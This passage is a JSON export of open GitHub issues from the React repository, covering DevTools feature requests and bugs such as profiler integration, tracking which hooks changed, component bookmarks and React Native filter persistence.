}, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T22:07:31Z", "updated_at": "2020-01-08T19:10:58Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Notes from a chat with Benoit:\r\n\r\nIt would be nice if starting profiling (or reload and profiling) in the browser auto-started profiling in DevTools.\r\n\r\nIt would also be nice if viewing a range of time in the Performance tab narrowed down the commits within the Profiler. At least starting the profilers at the same time would enable a manual match-up.\r\n\r\nTo my knowledge, none of the currently available APIs (including experimental) would enable us to support this level of integration.\r\n\r\n---\r\nIf we were to make use of the DevTools protocol, we could [`Profiler.start`](https://vanilla.aslushnikov.com/?Profiler.start) and [`Profiler.stop`](https://vanilla.aslushnikov.com/?Profiler.stop) the built-in profiler in sync with React's own profiler. Chrome's profiler also dispatches [`Profiler.consoleProfileStarted`](https://vanilla.aslushnikov.com/?Profiler.consoleProfileStarted) and [`Profiler.consoleProfileFinished`](https://vanilla.aslushnikov.com/?Profiler.consoleProfileFinished) events which we _could_ use to follow the browser's profiler if we wanted to.\r\n\r\nThere do not appear to be any APIs/events for syncing the zoomed-in range.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/37", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16483/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16482", "id": 482550920, "node_id": "MDU6SXNzdWU0ODI1NTA5MjA=", "number": 16482, "title": "DevTools: Should Profiler surface the base duration?", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T22:07:02Z", "updated_at": "2020-01-08T19:10:58Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Benoit shared feedback that it would be helpful to show the base duration for the tree (and/or selected element) to get a sense of the total cost over time. (Not sure yet what we'd call this.)\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/55", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16482/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16481", "id": 482550722, "node_id": "MDU6SXNzdWU0ODI1NTA3MjI=", "number": 16481, "title": "DevTools: Collect more info when profiling", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2019-08-19T22:06:29Z", "updated_at": "2020-04-17T18:37:54Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Some feedback I've heard from a DevTools user (roughly transcribed by me):\r\n\r\n> I'm trying to pinpoint those renders...with hooks, it's sometimes more unclear to me why something is rendering...I generally don't use devtools much anywhere. I use console.log. But Redux devtools worked really well for me because I could see when things were changing and what exactly changed.\r\n\r\nMaybe we could add an opt-in mode (in Settings > Profiler) to collect more data when profiling about _why_ a component rendered. For example, if `props` or `state` changed, we could show which keys changed (just their name, not their values). Maybe we could do something similar for context and for hooks?\r\n\r\nThen we could add this information to the right side panel for the selected fiber in the Profiler UI.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/98", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16481/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16480", "id": 482550567, "node_id": "MDU6SXNzdWU0ODI1NTA1Njc=", "number": 16480, "title": "DevTools: Fix disabled hooks lint rule", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "1": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T22:06:06Z", "updated_at": "2020-01-08T19:10:57Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Disabled via 00f6466\r\n\r\nMore context at https://github.com/bvaughn/react-devtools-experimental/pull/154#discussion_r275134664\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/156", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16480/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16478", "id": 482547444, "node_id": "MDU6SXNzdWU0ODI1NDc0NDQ=", "number": 16478, "title": "DevTools: Component bookmarks", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "3": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2019-08-19T21:57:12Z", "updated_at": "2020-01-08T19:10:57Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Product developers sometimes find it useful to jump back and forth between a few components in a tree. Currently this requires scrolling or using the selection tool. Maybe we could allow you to temporarily bookmark one or more components somehow? Then the existing Search interface could maybe be repurposed to let you step between bookmarked components (when there's no search text).\r\n\r\nThese bookmarks would probably not need to be persisted between reloads, so they could be associated with the specific in-memory element1.\r\n\r\n1 Although this association would be lost with a filter change.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/305", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16478/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16477", "id": 482547222, "node_id": "MDU6SXNzdWU0ODI1NDcyMjI=", "number": 16477, "title": "DevTools: Profiler: Show which hooks changed", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": true, "assignees": {}, "milestone": null, "comments": 17, "created_at": "2019-08-19T21:56:36Z", "updated_at": "2021-07-17T01:01:16Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "# \"Can you show which hooks changed?\"\r\n\r\n...is a question I've heard a couple of times with regard to the new Profiler change-tracking feature. This request is certainly understandable, but it presents a couple of challenges:\r\n\r\n1. Identifying which hooks values change would requires shallowly re-rendering each function component.\r\n2. Identifying a hook in a non-ambiguous way requires displaying the full hooks tree structure, since hooks aren't named. (Alternately we could support named hooks, #16474)\r\n\r\nLet's take each of a look at each of these below.\r\n\r\n## 1 - Identifying which hooks values change\r\n\r\nOne of the challenge for DevTools when it comes to hooks is identifying custom hooks. Sebastian's [proposed solution](https://github.com/bvaughn/react-devtools-experimental/blob/master/src/backend/ReactDebugHooks.js) is that DevTools temporarily overrides React's hooks dispatcher while it shallowly re-renders the component. During the re-render, each time one of the built-in hooks is used, our override implementation parses the stack to identify \"custom hooks\" (functions higher up in the callstack that begin with \"use\"). After render is completed, we reassemble this information into a tree structure which DevTools can display.\r\n\r\nCurrently we only do this shallow render when a component is [inspected](https://github.com/bvaughn/react-devtools-experimental/blob/master/OVERVIEW.md#inspecting-an-element), but in order for us to track which hooks have changed while profiling, we would need to shallowly render _every_ component using hooks during the profiling session. Mostly likely we would have to do this during the performance sensitive \"commit\" phase since that's when DevTools is notified of an update.\r\n\r\nI think we could do better than re-running the above hooks override for every component on every commit if we:\r\n* Created a map of Fiber to cached hooks tree structure.\r\n* Lazily populate the above map (by shallow re-rendering) only when a component was updated for the first time.\r\n* Compared Fiber `memoizedState`s to identify changes on future commits and map them back to the tree structure based on their position in the list structure. 1\r\n\r\nHowever, even with the above optimizations this would still add significant overhead to a performance sensitive phase.\r\n\r\n1 I think this should work but might also end up being complicated to implement.\r\n\r\n## 2 - Identifying a hook\r\n\r\nAlthough the variables that hooks values are assigned to are meaningfully named, the hooks themselves are unnamed. Because of this, DevTools has no feasible way of identifying a hook short of displaying the entire hooks tree structure. Consider the following example code:\r\n\r\n```js\r\nfunction useCustomHook(...) {\r\n const [foo, setFoo] = useState(...);\r\n // ...\r\n}\r\n\r\nfunction ExampleComponent(props) {\r\n const [bar, setBar] = useState(...);\r\n const [baz, setBaz] = useState(...);\r\n const custom = useCustomHook(...);\r\n // ...\r\n}\r\n```\r\n\r\nThe example above shows 4 hooks: three `useState` and one custom. Let's say that \"foo\" and \"baz\" changed in a particular render. How would DevTools identify this? It could just show \"two state hooks\" but that's not very helpful. I think the only way we could identify it would be to show the entire tree, and visually highlight which hooks in it have changed:\r\n\r\n```\r\nState\r\nState *\r\nCustomHook\r\n State *\r\n```\r\n\r\nThis is _okay_ but it's not great unless the developer is cross-referencing the component (and probably the custom hooks definition as well). To help with this, we could also _show the values_ but now we're adding more overhead in terms of trackin and bridge traffic.\r\n\r\n## In summary\r\n\r\nClearly both of these challenges can be overcome but they are non-trivial to implement and they will certainly add more runtime overhead to the profiler. Because of this, it may be a while before we add this feature to the DevTools.\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/312", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16477/reactions", "total_count": 172, "+1": 136, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 18, "rocket": 0, "eyes": 18 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16471", "id": 482544193, "node_id": "MDU6SXNzdWU0ODI1NDQxOTM=", "number": 16471, "title": "DevTools: React Native: Support reload-and-profile", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T21:47:53Z", "updated_at": "2022-03-30T18:25:22Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "React DevTools v4 adds a new reload and profile feature to measure perf for application \"mount\" ([although it required a bit of hacking](https://github.com/bvaughn/react-devtools-experimental/pull/35)). I don't feel knowledgeable enough about React Native to tackle it, so my current plan is to just **not** support this feature for RN.\r\n\r\nIf we did decide to support it,I think we would need to solve the following:\r\n\r\n1. A reload hook on the backend that worked for all bundle types (not just DEV).\r\n2. Some assurance that the backend will be injected/initialized _before_ the first mount/commit (or a mechanism to delay the first commit, like we do in the browser).\r\n3. Some way for third party code to request a production+profiling build ([similar to how DOM does it](https://fb.me/react-profiling)).\r\n4. A sync storage mechanism (or some other way for DevTools could leave a flag for itself so it knows to begin profiling immediately after reload+connection).\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/336", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16471/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16470", "id": 482543940, "node_id": "MDU6SXNzdWU0ODI1NDM5NDA=", "number": 16470, "title": "DevTools: React Native: Remember saved component filters between reloads", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-19T21:47:06Z", "updated_at": "2020-01-08T19:10:55Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "DevTools v4 added a pretty powerful new component filtering feature that enables devs to filter out components by type, name, or file system location. Because these filters can be a bit elaborate to create, they are saved between sessions to improve dev experience.\r\n\r\n**Unfortunately, I don't think I am going to be able to support the persistence functionality for React Native.** (In other words, filters will be forgotten each time you reload the app.)\r\n\r\nThe reason for this is a mix of timing and context. The biggest limiting factor is the lack of a synchronous storage option. React Native has a couple of faux sync storage options, but they just in-memory wrappers around an async storage layer and they require async initialization. That _could_ work if the React Native backend waited to initialize DevTools until it also initialized the async storage layer, _but_ this has implications on reload-and-profile support (#336).\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/337", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16470/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16468", "id": 482542595, "node_id": "MDU6SXNzdWU0ODI1NDI1OTU=", "number": 16468, "title": "Remember saved component filters by url or in bookmarks", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 710375792, "node_id": "MDU6TGFiZWw3MTAzNzU3OTI=", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Discussion", "name": "Type: Discussion", "color": "fef2c0", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 4, "created_at": "2019-08-19T21:43:09Z", "updated_at": "2020-07-25T19:40:17Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "It would be cool if it will support saving filter based on url or some bookmarks. I think it will be really useful for switching between different projects. And seems that bookmarks is better solution because usually people have some different stages like production/pre-production/local development.\r\n\r\n---\r\nOriginally reported by @7rulnik via https://github.com/bvaughn/react-devtools-experimental/issues/359", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16468/reactions", "total_count": 1, "+1": 1, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16465", "id": 482540711, "node_id": "MDU6SXNzdWU0ODI1NDA3MTE=", "number": 16465, "title": "DevTools: Occasional FOUC when loading DevTools", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 1, "created_at": "2019-08-19T21:38:01Z", "updated_at": "2020-01-08T19:10:53Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "Seems to only happen the first time DevTools is opened after being installed (or perhaps the first time after the browser is opened).\r\n\r\n---\r\nOriginally reported via https://github.com/bvaughn/react-devtools-experimental/issues/381", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16465/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16463", "id": 482539346, "node_id": "MDU6SXNzdWU0ODI1MzkzNDY=", "number": 16463, "title": "DevTools: An easier way to see all siblings", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2019-08-19T21:34:16Z", "updated_at": "2020-02-08T07:47:08Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "I have a particular pattern that I struggle with when navigating deep trees in devtools: I want to see all siblings of a node together.\r\n\r\nSay I'm in the middle of something and I wonder what are all nodes on the same level. It's super hard to actually get to that state. I wonder if we could tweak \"left\" button to do that as an intermediate state.\r\n\r\n* first press: collapse the current node\r\n* second press: collapse all siblings (new)\r\n* third press: move to the parent\r\n\r\nMaybe this is too crazy :-) Or maybe there's another mechanic that can achieve the same effect. The goal here is to be able to make sense of the tree structure by going _upwards_. Currently implementation details of children prevent me from seeing it. (At least, with the \"expand\" mode on — which is now on by default.)\r\n\r\n---\r\nOriginally reported by @gaearon via https://github.com/bvaughn/react-devtools-experimental/issues/384", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/16463/reactions", "total_count": 7, "+1": 5, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 2 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/16444", "id": 482007607, "node_id": "MDU6SXNzdWU0ODIwMDc2MDc=", "number": 16444, "title": "Refactor ProfilerContext to use reducer instead of multi-state", "user": { "login": "bvaughn", "id": 29597, "node_id": "MDQ6VXNlcjI5NTk3", "avatar_url": "https://avatars.githubusercontent.com/u/29597?v=4", "gravatar_id": "", "url": "https://api.github.com/users/bvaughn", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929153, "node_id": "MDU6TGFiZWw0MDkyOTE1Mw==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Enhancement", "name": "Type: Enhancement", "color": "84b6eb", "default": false, "description": null }, "1": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null }, "2": { "id": 1775958285, "node_id": "MDU6TGFiZWwxNzc1OTU4Mjg1", "url": "https://api.github.com/repos/facebook/react/labels/React%20Core%20Team", "name": "React Core Team", "color": "9149d1", "default": false, "description": "Opened by a member of the React Core Team" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 0, "created_at": "2019-08-18T15:40:40Z", "updated_at": "2020-01-08T19:10:52Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "The `ProfilerContext` is currently comprised of several pieces of related state, each managed with `useState`. This necessitates awkward checks like 